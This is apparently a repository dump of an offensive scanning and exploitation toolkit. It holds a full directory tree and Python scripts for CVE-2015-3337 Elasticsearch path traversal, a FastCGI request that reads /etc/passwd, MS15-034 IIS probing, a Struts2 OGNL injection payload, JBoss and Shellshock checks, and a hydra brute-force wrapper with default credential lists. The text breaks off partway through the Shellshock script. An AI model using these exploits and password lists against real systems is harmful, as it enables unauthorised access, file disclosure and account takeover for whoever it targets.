├── README.md ├── block.list ├── exp ├── PoC.py ├── ZeusSpider │ ├── CurlMulti.php │ ├── ZeusSpider.php │ └── phpQuery.php ├── backup │ ├── domain.csv │ └── test_domain.txt ├── backup_check.php ├── banner.py ├── classloader.py ├── es20153337.py ├── es_rce_2014.py ├── fast_cgi.py ├── hydra.py ├── hydra │ ├── pass.txt │ └── user.txt ├── iis.py ├── iis2.py ├── java │ └── ysoserial-0.0.2-all.jar ├── jboss.py ├── new_check_struts2.py ├── rsync.py ├── rsync │ └── 1.txt ├── shellshock.py ├── svn.py ├── svn │ ├── GitHack │ │ ├── GitHack.py │ │ ├── README.md │ │ └── lib │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── parser.py │ │ │ └── parser.pyc │ ├── SVN_DOWN.PY │ └── svnclone.php └── test.py ├── libnmap ├── __init__.py ├── __init__.pyc ├── diff.py ├── diff.pyc ├── objects │ ├── __init__.py │ ├── __init__.pyc │ ├── cpe.py │ ├── cpe.pyc │ ├── host.py │ ├── host.pyc │ ├── os.py │ ├── os.pyc │ ├── report.py │ ├── report.pyc │ ├── service.py │ └── service.pyc ├── parser.py ├── parser.pyc ├── plugins │ ├── __init__.py │ ├── __init__.pyc │ ├── backend_host.py │ ├── backend_host.pyc │ ├── backend_permission.py │ ├── backend_service.py │ ├── backend_service.pyc │ ├── backendplugin.py │ ├── backendplugin.pyc │ ├── backendpluginFactory.py │ ├── backendpluginFactory.pyc │ ├── es.py │ ├── mongodb.py │ ├── s3.py │ └── sql.py ├── process.py ├── process.pyc ├── reportjson.py └── reportjson.pyc ├── port_check.py ├── run.py ├── sqli_check.py ├── src ├── flower-0.7.3 │ ├── .DS_Store │ ├── ._.DS_Store │ ├── AUTHORS │ ├── CHANGES │ ├── LICENSE │ ├── MANIFEST.in │ ├── PKG-INFO │ ├── README.rst │ ├── build │ │ └── lib.linux-x86_64-2.7 │ │ │ └── flower │ │ │ ├── __init__.py │ │ │ ├── __main__.py │ │ │ ├── api │ │ │ ├── __init__.py │ │ │ ├── control.py │ │ │ ├── events.py │ │ │ ├── tasks.py │ │ │ └── workers.py │ │ │ ├── app.py │ │ │ ├── command.py │ │ │ ├── events.py │ │ │ ├── models.py │ │ │ ├── settings.py │ │ │ ├── state.py │ │ │ ├── static │ │ │ ├── css │ │ │ │ ├── bootstrap-responsive.css │ │ │ │ ├── bootstrap-responsive.min.css │ │ │ │ ├── bootstrap.css │ │ │ │ ├── bootstrap.min.css │ │ │ │ ├── flower.css │ │ │ │ ├── jquery-ui.css │ │ │ │ └── rickshaw.min.css │ │ │ ├── favicon.ico │ │ │ ├── img │ │ │ │ ├── apple-touch-icon-114-precomposed.png │ │ │ │ ├── apple-touch-icon-144-precomposed.png │ │ │ │ ├── apple-touch-icon-57-precomposed.png │ │ │ │ ├── apple-touch-icon-72-precomposed.png │ │ │ │ ├── glyphicons-halflings-white.png │ │ │ │ └── glyphicons-halflings.png │ │ │ └── js │ │ │ │ ├── bootstrap-alert.js │ │ │ │ ├── bootstrap-button.js │ │ │ │ ├── bootstrap-carousel.js │ │ │ │ ├── bootstrap-collapse.js │ │ │ │ ├── bootstrap-dropdown.js │ │ │ │ ├── bootstrap-modal.js │ │ │ │ ├── bootstrap-popover.js │ │ │ │ ├── bootstrap-scrollspy.js │ │ │ │ ├── bootstrap-tab.js │ │ │ │ ├── bootstrap-tooltip.js │ │ │ │ ├── bootstrap-transition.js │ │ │ │ ├── bootstrap-typeahead.js │ │ │ │ ├── bootstrap.js │ │ │ │ ├── bootstrap.min.js │ │ │ │ ├── d3.layout.min.js │ │ │ │ ├── d3.min.js │ │ │ │ ├── flower.js │ │ │ │ ├── jquery-1.7.2.min.js │ │ │ │ ├── jquery-ui-1-8-15.min.js │ │ │ │ └── rickshaw.min.js │ │ │ ├── templates │ │ │ ├── 404.html │ │ │ ├── base.html │ │ │ ├── broker.html │ │ │ ├── error.html │ │ │ ├── monitor.html │ │ │ ├── navbar.html │ │ │ ├── task.html │ │ │ ├── tasks.html │ │ │ ├── worker.html │ │ │ └── workers.html │ │ │ ├── urls.py │ │ │ ├── utils │ │ │ ├── __init__.py │ │ │ ├── broker.py │ │ │ └── template.py │ │ │ └── views │ │ │ ├── __init__.py │ │ │ ├── auth.py │ │ │ ├── broker.py │ │ │ ├── error.py │ │ │ ├── monitor.py │ │ │ ├── tasks.py │ │ │ ├── update.py │ │ │ └── workers.py │ ├── dist │ │ └── flower-0.7.3-py2.7.egg │ ├── docs │ │ ├── .build │ │ │ ├── doctrees │ │ │ │ ├── api.doctree │ │ │ │ ├── auth.doctree │ │ │ │ ├── config.doctree │ │ │ │ ├── docker.doctree │ │ │ │ ├── environment.pickle │ │ │ │ ├── features.doctree │ │ │ │ ├── index.doctree │ │ │ │ ├── install.doctree │ │ │ │ ├── man.doctree │ │ │ │ ├── reverse-proxy.doctree │ │ │ │ └── screenshots.doctree │ │ │ └── html │ │ │ │ ├── .buildinfo │ │ │ │ ├── _images │ │ │ │ ├── broker.png │ │ │ │ ├── config.png │ │ │ │ ├── dashboard.png │ │ │ │ ├── limits.png │ │ │ │ ├── monitor.png │ │ │ │ ├── pool.png │ │ │ │ ├── queues.png │ │ │ │ ├── task.png │ │ │ │ ├── tasks.png │ │ │ │ └── worker-tasks.png │ │ │ │ ├── _sources │ │ │ │ ├── api.txt │ │ │ │ ├── auth.txt │ │ │ │ ├── config.txt │ │ │ │ ├── docker.txt │ │ │ │ ├── features.txt │ │ │ │ ├── index.txt │ │ │ │ ├── install.txt │ │ │ │ ├── man.txt │ │ │ │ ├── reverse-proxy.txt │ │ │ │ └── screenshots.txt │ │ │ │ ├── _static │ │ │ │ ├── ajax-loader.gif │ │ │ │ ├── basic.css │ │ │ │ ├── celery.css │ │ │ │ ├── comment-bright.png │ │ │ │ ├── comment-close.png │ │ │ │ ├── comment.png │ │ │ │ ├── doctools.js │ │ │ │ ├── down-pressed.png │ │ │ │ ├── down.png │ │ │ │ ├── file.png │ │ │ │ ├── jquery.js │ │ │ │ ├── minus.png │ │ │ │ ├── plus.png │ │ │ │ ├── pygments.css │ │ │ │ ├── searchtools.js │ │ │ │ ├── underscore.js │ │ │ │ ├── up-pressed.png │ │ │ │ ├── up.png │ │ │ │ └── websupport.js │ │ │ │ ├── api.html │ │ │ │ ├── auth.html │ │ │ │ ├── config.html │ │ │ │ ├── docker.html │ │ │ │ ├── features.html │ │ │ │ ├── index.html │ │ │ │ ├── install.html │ │ │ │ ├── man.html │ │ │ │ ├── objects.inv │ │ │ │ ├── reverse-proxy.html │ │ │ │ ├── screenshots.html │ │ │ │ ├── search.html │ │ │ │ └── searchindex.js │ │ ├── Makefile │ │ ├── _static │ │ │ └── .keep │ │ ├── _templates │ │ │ ├── .localtoc.html.swp │ │ │ ├── localtoc.html │ │ │ ├── page.html │ │ │ ├── sidebarintro.html │ │ │ └── sidebarlogo.html │ │ ├── _theme │ │ │ └── celery │ │ │ │ ├── static │ │ │ │ └── celery.css_t │ │ │ │ └── theme.conf │ │ ├── api.ipynb │ │ ├── api.rst │ │ ├── auth.rst │ │ ├── conf.py │ │ ├── config.rst │ │ ├── docker.rst │ │ ├── features.rst │ │ ├── index.rst │ │ ├── install.rst │ │ ├── man.rst │ │ ├── reverse-proxy.rst │ │ ├── screenshots.rst │ │ ├── screenshots │ │ │ ├── broker.png │ │ │ ├── config.png │ │ │ ├── dashboard.png │ │ │ ├── limits.png │ │ │ ├── monitor.png │ │ │ ├── pool.png │ │ │ ├── queues.png │ │ │ ├── task.png │ │ │ ├── tasks.png │ │ │ └── worker-tasks.png │ │ └── tasks.py │ ├── flower.egg-info │ │ ├── PKG-INFO │ │ ├── SOURCES.txt │ │ ├── dependency_links.txt │ │ ├── entry_points.txt │ │ ├── requires.txt │ │ └── top_level.txt │ ├── flower │ │ ├── .DS_Store │ │ ├── ._.DS_Store │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── api │ │ │ ├── .DS_Store │ │ │ ├── ._.DS_Store │ │ │ ├── __init__.py │ │ │ ├── control.py │ │ │ ├── events.py │ │ │ ├── tasks.py │ │ │ └── workers.py │ │ ├── app.py │ │ ├── command.py │ │ ├── events.py │ │ ├── models.py │ │ ├── settings.py │ │ ├── state.py │ │ ├── static │ │ │ ├── css │ │ │ │ ├── bootstrap-responsive.css │ │ │ │ ├── bootstrap-responsive.min.css │ │ │ │ ├── bootstrap.css │ │ │ │ ├── bootstrap.min.css │ │ │ │ ├── flower.css │ │ │ │ ├── jquery-ui.css │ │ │ │ └── rickshaw.min.css │ │ │ ├── favicon.ico │ │ │ ├── img │ │ │ │ ├── apple-touch-icon-114-precomposed.png │ │ │ │ ├── apple-touch-icon-144-precomposed.png │ │ │ │ ├── apple-touch-icon-57-precomposed.png │ │ │ │ ├── apple-touch-icon-72-precomposed.png │ │ │ │ ├── glyphicons-halflings-white.png │ │ │ │ └── glyphicons-halflings.png │ │ │ └── js │ │ │ │ ├── bootstrap-alert.js │ │ │ │ ├── bootstrap-button.js │ │ │ │ ├── bootstrap-carousel.js │ │ │ │ ├── bootstrap-collapse.js │ │ │ │ ├── bootstrap-dropdown.js │ │ │ │ ├── bootstrap-modal.js │ │ │ │ ├── bootstrap-popover.js │ │ │ │ ├── bootstrap-scrollspy.js │ │ │ │ ├── bootstrap-tab.js │ │ │ │ ├── bootstrap-tooltip.js │ │ │ │ ├── bootstrap-transition.js │ │ │ │ ├── bootstrap-typeahead.js │ │ │ │ ├── bootstrap.js │ │ │ │ ├── bootstrap.min.js │ │ │ │ ├── d3.layout.min.js │ │ │ │ ├── d3.min.js │ │ │ │ ├── flower.js │ │ │ │ ├── jquery-1.7.2.min.js │ │ │ │ ├── jquery-ui-1-8-15.min.js │ │ │ │ └── rickshaw.min.js │ │ ├── templates │ │ │ ├── 404.html │ │ │ ├── base.html │ │ │ ├── broker.html │ │ │ ├── error.html │ │ │ ├── monitor.html │ │ │ ├── navbar.html │ │ │ ├── task.html │ │ │ ├── tasks.html │ │ │ ├── worker.html │ │ │ └── workers.html │ │ ├── urls.py │ │ ├── utils │ │ │ ├── .DS_Store │ │ │ ├── ._.DS_Store │ │ │ ├── __init__.py │ │ │ ├── broker.py │ │ │ └── template.py │ │ └── views │ │ │ ├── .DS_Store │ │ │ ├── ._.DS_Store │ │ │ ├── __init__.py │ │ │ ├── auth.py │ │ │ ├── broker.py │ │ │ ├── error.py │ │ │ ├── monitor.py │ │ │ ├── tasks.py │ │ │ ├── update.py │ │ │ └── workers.py │ ├── setup.cfg │ ├── setup.py │ └── tests │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── __main__.py │ │ ├── api │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── test_control.py │ │ ├── test_control.pyc │ │ ├── test_events.py │ │ └── test_events.pyc │ │ ├── utils │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── test_broker.py │ │ ├── test_broker.pyc │ │ ├── test_template.py │ │ └── test_template.pyc │ │ └── views │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── test_auth.py │ │ ├── test_auth.pyc │ │ ├── test_dashboard.pyc │ │ ├── test_error.py │ │ ├── test_error.pyc │ │ ├── test_monitor.py │ │ ├── test_monitor.pyc │ │ ├── test_tasks.py │ │ ├── test_tasks.pyc │ │ └── test_workers.py ├── flower.tar.gz ├── supervisord.conf ├── supervisord_client.conf ├── supervisord_server.conf └── supervisord_server_0918.conf ├── tasks.py ├── test.py ├── test └── name.py ├── util ├── PHPMailer │ ├── .gitignore │ ├── .scrutinizer.yml │ ├── .travis.yml │ ├── LICENSE │ ├── PHPMailerAutoload.php │ ├── README.md │ ├── VERSION │ ├── changelog.md │ ├── class.phpmailer.php │ ├── class.phpmaileroauth.php │ ├── class.phpmaileroauthgoogle.php │ ├── class.pop3.php │ ├── class.smtp.php │ ├── composer.json │ ├── composer.lock │ ├── docs │ │ ├── Callback_function_notes.txt │ │ ├── DomainKeys_notes.txt │ │ ├── Note_for_SMTP_debugging.txt │ │ ├── extending.html │ │ ├── faq.html │ │ ├── generatedocs.sh │ │ └── pop3_article.txt │ ├── examples │ │ ├── code_generator.phps │ │ ├── contents.html │ │ ├── contentsutf8.html │ │ ├── exceptions.phps │ │ ├── gmail.phps │ │ ├── gmail_xoauth.phps │ │ ├── images │ │ │ ├── phpmailer.png │ │ │ └── phpmailer_mini.png │ │ ├── index.html │ │ ├── mail.phps │ │ ├── mailing_list.phps │ │ ├── pop_before_smtp.phps │ │ ├── scripts │ │ │ ├── XRegExp.js │ │ │ ├── shAutoloader.js │ │ │ ├── shBrushPhp.js │ │ │ ├── shCore.js │ │ │ └── shLegacy.js │ │ ├── send_file_upload.phps │ │ ├── sendmail.phps │ │ ├── signed-mail.phps │ │ ├── smtp.phps │ │ ├── smtp_check.phps │ │ ├── smtp_no_auth.phps │ │ ├── ssl_options.phps │ │ └── styles │ │ │ ├── shCore.css │ │ │ ├── shCoreDefault.css │ │ │ ├── shCoreDjango.css │ │ │ ├── shCoreEclipse.css │ │ │ ├── shCoreEmacs.css │ │ │ ├── shCoreFadeToGrey.css │ │ │ ├── shCoreMDUltra.css │ │ │ ├── shCoreMidnight.css │ │ │ ├── shCoreRDark.css │ │ │ ├── shThemeAppleScript.css │ │ │ ├── shThemeDefault.css │ │ │ ├── shThemeDjango.css │ │ │ ├── shThemeEclipse.css │ │ │ ├── shThemeEmacs.css │ │ │ ├── shThemeFadeToGrey.css │ │ │ ├── shThemeMDUltra.css │ │ │ ├── shThemeMidnight.css │ │ │ ├── shThemeRDark.css │ │ │ ├── shThemeVisualStudio.css │ │ │ └── wrapping.png │ ├── extras │ │ ├── EasyPeasyICS.php │ │ ├── README.md │ │ ├── htmlfilter.php │ │ └── ntlm_sasl_client.php │ ├── get_oauth_token.php │ ├── language │ │ ├── phpmailer.lang-am.php │ │ ├── phpmailer.lang-ar.php │ │ ├── phpmailer.lang-az.php │ │ ├── phpmailer.lang-be.php │ │ ├── phpmailer.lang-bg.php │ │ ├── phpmailer.lang-br.php │ │ ├── phpmailer.lang-ca.php │ │ ├── phpmailer.lang-ch.php │ │ ├── phpmailer.lang-cz.php │ │ ├── phpmailer.lang-de.php │ │ ├── phpmailer.lang-dk.php │ │ ├── phpmailer.lang-el.php │ │ ├── phpmailer.lang-eo.php │ │ ├── phpmailer.lang-es.php │ │ ├── phpmailer.lang-et.php │ │ ├── phpmailer.lang-fa.php │ │ ├── phpmailer.lang-fi.php │ │ ├── phpmailer.lang-fo.php │ │ ├── phpmailer.lang-fr.php │ │ ├── phpmailer.lang-gl.php │ │ ├── phpmailer.lang-he.php │ │ ├── phpmailer.lang-hr.php │ │ ├── phpmailer.lang-hu.php │ │ ├── phpmailer.lang-id.php │ │ ├── phpmailer.lang-it.php │ │ ├── phpmailer.lang-ja.php │ │ ├── phpmailer.lang-ka.php │ │ ├── phpmailer.lang-ko.php │ │ ├── phpmailer.lang-lt.php │ │ ├── phpmailer.lang-lv.php │ │ ├── phpmailer.lang-ms.php │ │ ├── phpmailer.lang-nl.php │ │ ├── phpmailer.lang-no.php │ │ ├── phpmailer.lang-pl.php │ │ ├── phpmailer.lang-pt.php │ │ ├── phpmailer.lang-ro.php │ │ ├── phpmailer.lang-ru.php │ │ ├── phpmailer.lang-se.php │ │ ├── phpmailer.lang-sk.php │ │ ├── phpmailer.lang-sl.php │ │ ├── phpmailer.lang-sr.php │ │ ├── phpmailer.lang-tr.php │ │ ├── phpmailer.lang-uk.php │ │ ├── phpmailer.lang-vi.php │ │ ├── phpmailer.lang-zh.php │ │ └── phpmailer.lang-zh_cn.php │ ├── test │ │ ├── bootstrap.php │ │ ├── fakepopserver.sh │ │ ├── fakesendmail.sh │ │ ├── phpmailerLangTest.php │ │ ├── phpmailerTest.php │ │ ├── runfakepopserver.sh │ │ ├── test_callback.php │ │ └── testbootstrap-dist.php │ └── travis.phpunit.xml.dist ├── __init__.py ├── mongotool.py ├── phpmail.php ├── req.py ├── secmail.py └── test.py ├── wyfunc.py ├── wyfunc.pyc └── wyportmap.py /block.list: -------------------------------------------------------------------------------- 1 | 127.0.0.1 2 | 127.0.0.2 3 | -------------------------------------------------------------------------------- /exp/backup/test_domain.txt: -------------------------------------------------------------------------------- 1 | www.baidu.com 2 | a.baidu.com 3 | b.baidu.com 4 | -------------------------------------------------------------------------------- /exp/banner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding:utf-8 3 | #author:root@1137.me 4 | 5 | from bs4 import BeautifulSoup 6 | import requests 7 | import threading 8 | import Queue 9 | import time 10 | import sys 11 | import json 12 | sys.path.append('./util/') 13 | from mongotool import MongoTool 14 | 15 | def btdk(url): 16 | try: 17 | req = requests.get(url, timeout = 5) 18 | html = req.text 19 | headers = req.headers 20 | except: 21 | print "http request error!" 22 | sys.exit(0) 23 | #html = '%s'%url 24 | soup = BeautifulSoup(html.lower()) 25 | t = soup.title.text.encode('utf8','ignore').decode("utf8") 26 | #t = soup.title.text 27 | try: 28 | k = soup.find(attrs={"name":"keywords"})['content'].encode('utf8','ignore') 29 | except: 30 | k = "" 31 | try: 32 | d = soup.find(attrs={"name":"description"})['content'].encode('utf8','ignore') 33 | except: 34 | d = "" 35 | 36 | return headers,t,d,k 37 | 38 | 39 | if __name__ == '__main__': 40 | #url = "http://210.14.138.1" 41 | if len(sys.argv) == 3: 42 | target = sys.argv[1] 43 | port = sys.argv[2] 44 | if port == 443: 45 | protocal = "https" 46 | else: 47 | protocal = "http" 48 | url = protocal+"://"+target+":"+str(port) 49 | (h,t,d,k) = btdk(url) 50 | row = { 51 | "ip" : target, 52 | "port" : port, 53 | "headers" : dict(h), 54 | "title" : t, 55 | "keywords" : d, 56 | "desc" : k 57 | } 58 | table = MongoTool().conn.request.banner 59 | print table.insert(row) 60 | #print table.find_one({"a":2}) 61 | -------------------------------------------------------------------------------- /exp/es20153337.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign 3 | # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 4 | # Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net 5 | # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ 6 | # 7 | # Source: https://github.com/pandujar/elasticpwn/ 8 | 9 | import socket, sys 10 | 11 | print "!dSR ElasticPwn - for CVE-2015-3337\n" 12 | if len(sys.argv) <> 3: 13 | print "Ex: %s www.example.com /etc/passwd" % sys.argv[0] 14 | sys.exit() 15 | 16 | port = 9200 # Default ES http port 17 | host = sys.argv[1] 18 | fpath = sys.argv[2] 19 | 20 | def grab(plugin): 21 | socket.setdefaulttimeout(3) 22 | s = socket.socket() 23 | s.connect((host,port)) 24 | s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n" 25 | "Host: %s\n\n" % (plugin, fpath, host)) 26 | file = s.recv(2048) 27 | print " [*] Trying to retrieve %s:" % fpath 28 | if ("HTTP/1.0 200 OK" in file): 29 | print "\n%s~wakaka" % file 30 | else: 31 | print "[-] File Not Found, No Access Rights or System Not Vulnerable" 32 | 33 | def pfind(plugin): 34 | try: 35 | socket.setdefaulttimeout(3) 36 | s = socket.socket() 37 | s.connect((host,port)) 38 | s.send("GET /_plugin/%s/ HTTP/1.0\n" 39 | "Host: %s\n\n" % (plugin, host)) 40 | file = s.recv(16) 41 | print "[*] Trying to find plugin %s:" % plugin 42 | if ("HTTP/1.0 200 OK" in file): 43 | print "[+] Plugin found!" 44 | grab(plugin) 45 | sys.exit() 46 | else: 47 | print "[-] Not Found " 48 | except Exception, e: 49 | print "[-] Error connecting to %s: %s" % (host, e) 50 | sys.exit() 51 | 52 | # Include more plugin names to check if they are installed 53 | pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] 54 | 55 | for plugin in pluginList: 56 | pfind(plugin) 57 | -------------------------------------------------------------------------------- /exp/es_rce_2014.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | """ 4 | 2014 年的es 远程代码执行 MVEL 5 | """ 6 | -------------------------------------------------------------------------------- /exp/fast_cgi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding:utf-8 3 | #author: l137 4 | 5 | import socket 6 | import sys 7 | 8 | def test_fastcgi(ip): 9 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0) 10 | sock.connect((ip, 9000)) 11 | data = """ 12 | 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 13 | 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 14 | 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 15 | 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 16 | 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 17 | 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 18 | 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 19 | 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 20 | 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 21 | 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 22 | 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 23 | """ 24 | data_s = '' 25 | for _ in data.split(): 26 | data_s += chr(int(_,16)) 27 | sock.send(data_s) 28 | try: 29 | ret = sock.recv(1024) 30 | if ret.find(':root:') > 0: 31 | print ret 32 | print '%s is vulnerable!~wakaka' % ip 33 | return True 34 | else: 35 | return False 36 | except Exception, e: 37 | pass 38 | 39 | sock.close() 40 | 41 | 42 | if __name__ == '__main__': 43 | if len(sys.argv) == 1: 44 | print sys.argv[0], '[ip]' 45 | else: 46 | test_fastcgi(sys.argv[1]) 47 | -------------------------------------------------------------------------------- /exp/hydra.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding:utf-8 3 | #author:root@1137.me 4 | 5 | import sys 6 | import subprocess 7 | import time 8 | 9 | globalUserFile = "exp/hydra/user.txt" 10 | globalPassFile = "exp/hydra/pass.txt" 11 | globalTimeout = 60 12 | def hydraCheck(target,port,service): 13 | cmdLine = 'hydra -L %s -P %s -s %s -e ns %s %s' %(globalUserFile, globalPassFile, port, target, service ) 14 | print cmdLine 15 | proc = subprocess.Popen(cmdLine,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,close_fds=True) 16 | deadline = time.time() + globalTimeout 17 | while time.time() < deadline and proc.poll() == None: 18 | time.sleep(globalTimeout) 19 | if proc.poll() == None: 20 | proc.terminate() 21 | output,stderr = proc.communicate() 22 | print output 23 | #output = proc.stdout.readlines() 24 | if "password" in output: 25 | print "~wakaka" 26 | return output 27 | 28 | 29 | 30 | if __name__ == "__main__": 31 | if len(sys.argv) == 4: 32 | target = sys.argv[1] 33 | service = sys.argv[2] 34 | port = sys.argv[3] 35 | hydraCheck(target, port, service) 36 | 37 | -------------------------------------------------------------------------------- /exp/hydra/pass.txt: -------------------------------------------------------------------------------- 1 | admin 2 | 123456 3 | password 4 | 123qwe 5 | 1qaz@WSZX 6 | toor 7 | P@ssw0rd 8 | 12345678 9 | 111111 10 | tomcat 11 | nagios 12 | zabbix 13 | 14 | -------------------------------------------------------------------------------- /exp/hydra/user.txt: -------------------------------------------------------------------------------- 1 | admin 2 | root 3 | tomcat 4 | hadoop 5 | test 6 | nagios 7 | zabbix 8 | www 9 | wwwroot 10 | ftp 11 | adm 12 | oracle 13 | 14 | -------------------------------------------------------------------------------- /exp/iis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding:utf-8 3 | #author: l137 4 | 5 | import socket 6 | import random 7 | import sys 8 | 9 | def check_iis(ip,port): 10 | ipAddr = ip 11 | hexAllFfff = "18446744073709551615" 12 | req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n" 13 | timeout=1 14 | socket.setdefaulttimeout(timeout) 15 | #测试是否有leak 16 | try: 17 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | client_socket.connect((ipAddr, int(port))) 19 | client_socket.send(req) 20 | goodResp = client_socket.recv(1024) 21 | if "Requested Range Not Satisfiable" in goodResp and "IIS" in goodResp: 22 | print "[%s] Looks VULN" % ipAddr + "~wakaka" 23 | except: 24 | pass 25 | 26 | 27 | if __name__ == "__main__": 28 | if len(sys.argv) == 3: 29 | target = sys.argv[1] 30 | port = sys.argv[2] 31 | check_iis(target,port) 32 | -------------------------------------------------------------------------------- /exp/iis2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import requests 3 | import sys 4 | import re 5 | def identify_iis(domain): 6 | 7 | req = requests.get(str(domain)) 8 | 9 | remote_server = req.headers['server'] 10 | 11 | if "Microsoft-IIS" in remote_server: 12 | 13 | print('[+] 服务是' + remote_server) 14 | 15 | ms15_034_test(str(domain)) 16 | 17 | else: 18 | print('[-] 服务器不是IIS\n可能是: ' + remote_server) 19 | def ms15_034_test(domain): 20 | 21 | print("启动vuln检查!") 22 | 23 | vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n" 24 | 25 | req = requests.get(str(domain), params=vuln_buffer) 26 | 27 | #print(req.content); 28 | 29 | if "请求范围不符合" in req.content: 30 | 31 | print('[+] 存在漏洞') 32 | 33 | else: 34 | 35 | print('[-] IIS服务无法显示漏洞是否存在,需要手动检测') 36 | if __name__== '__main__': 37 | if len(sys.argv) == 3: 38 | target = sys.argv[1] 39 | port = sys.argv[2] 40 | if port == 443: 41 | protocal = "https" 42 | else: 43 | protocal = "http" 44 | usr_domain = protocal + "://"+target+":"+str(port) 45 | identify_iis(usr_domain) 46 | -------------------------------------------------------------------------------- /exp/java/ysoserial-0.0.2-all.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/exp/java/ysoserial-0.0.2-all.jar -------------------------------------------------------------------------------- /exp/jboss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding:utf-8 3 | #author: l137 4 | 5 | import sys 6 | import time 7 | import urllib2 8 | 9 | 10 | 11 | def checkJbossRce(ip,port): 12 | 13 | url = "http://"+ip+":"+str(port)+"/invoker/JMXInvokerServlet" 14 | req = urllib2.Request(url) 15 | try: 16 | info = urllib2.urlopen(req,timeout=5).read() 17 | if "jboss" in info: 18 | print "jboss wakaka~~" 19 | except Exception,e: 20 | pass 21 | 22 | def checkZabbix(ip, port): 23 | url = "http://"+ip+":"+str(port)+"/zabbix/" 24 | req = urllib2.Request(url) 25 | try: 26 | info = urllib2.urlopen(req,timeout=5).read() 27 | if "Zabbix" in info: 28 | print "Zabbix wakaka~~" 29 | except Exception,e: 30 | pass 31 | 32 | 33 | 34 | if __name__ == "__main__": 35 | if len(sys.argv) == 3: 36 | target = sys.argv[1] 37 | port = sys.argv[2] 38 | checkJbossRce(target, port) 39 | checkZabbix(target, port) 40 | -------------------------------------------------------------------------------- /exp/new_check_struts2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding:utf-8 3 | #create by l137 4 | 5 | import MySQLdb 6 | import time 7 | import urllib2 8 | import threading 9 | import Queue 10 | import sys 11 | 12 | 13 | def exec_struts(url): 14 | date = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) 15 | headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'} 16 | 17 | payload = "?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[shit]'),%23w.flush(),%23w.close()}" 18 | url_payload = url+payload 19 | req = urllib2.Request(url_payload,headers=headers) 20 | try: 21 | info = urllib2.urlopen(req,timeout=5).read() 22 | if "shit" in info and "DOCTYPE" not in info and "html" not in info and "returnurl" not in info: 23 | return date,url,"1","vulner~wakaka" 24 | except Exception,e: 25 | pass 26 | def main(url): 27 | date,url,warning,info = exec_struts(url) 28 | 29 | 30 | def execMain(url): 31 | #action链接列表 32 | actionlist = ["/index.action","/test.action","/home.action","/default.action","/client.action","/callback.action","/index.aspx","/test.aspx","/login.aspx"] 33 | urllist = [] 34 | for action in actionlist: 35 | urllist.append(url+action) 36 | for url in urllist: 37 | print exec_struts(url) 38 | 39 | if __name__ == "__main__": 40 | if len(sys.argv) == 3: 41 | target = sys.argv[1] 42 | port = sys.argv[2] 43 | if port == 443: 44 | url = "https://"+target 45 | else: 46 | url = "http://"+target+":"+port 47 | execMain(url) 48 | -------------------------------------------------------------------------------- /exp/rsync.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # mail: root@1137.me 4 | 5 | 6 | #print "wakaka~~" 7 | -------------------------------------------------------------------------------- /exp/rsync/1.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/exp/rsync/1.txt -------------------------------------------------------------------------------- /exp/shellshock.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding:utf-8 3 | #author:root@1137.me 4 | 5 | import sys 6 | import socket 7 | 8 | 9 | def check_shellshock(ip,port,cgi="/cgi-bin/index.cgi"): 10 | ipAddr = ip 11 | payload = 'User-Agent:() { :; }; echo -e "wakaka"' 12 | req = "GET "+cgi+" HTTP/1.1\r\nHost: stuff\r\n"+payload+"\r\nAccept: text/plain\r\n\r\n" 13 | timeout=1 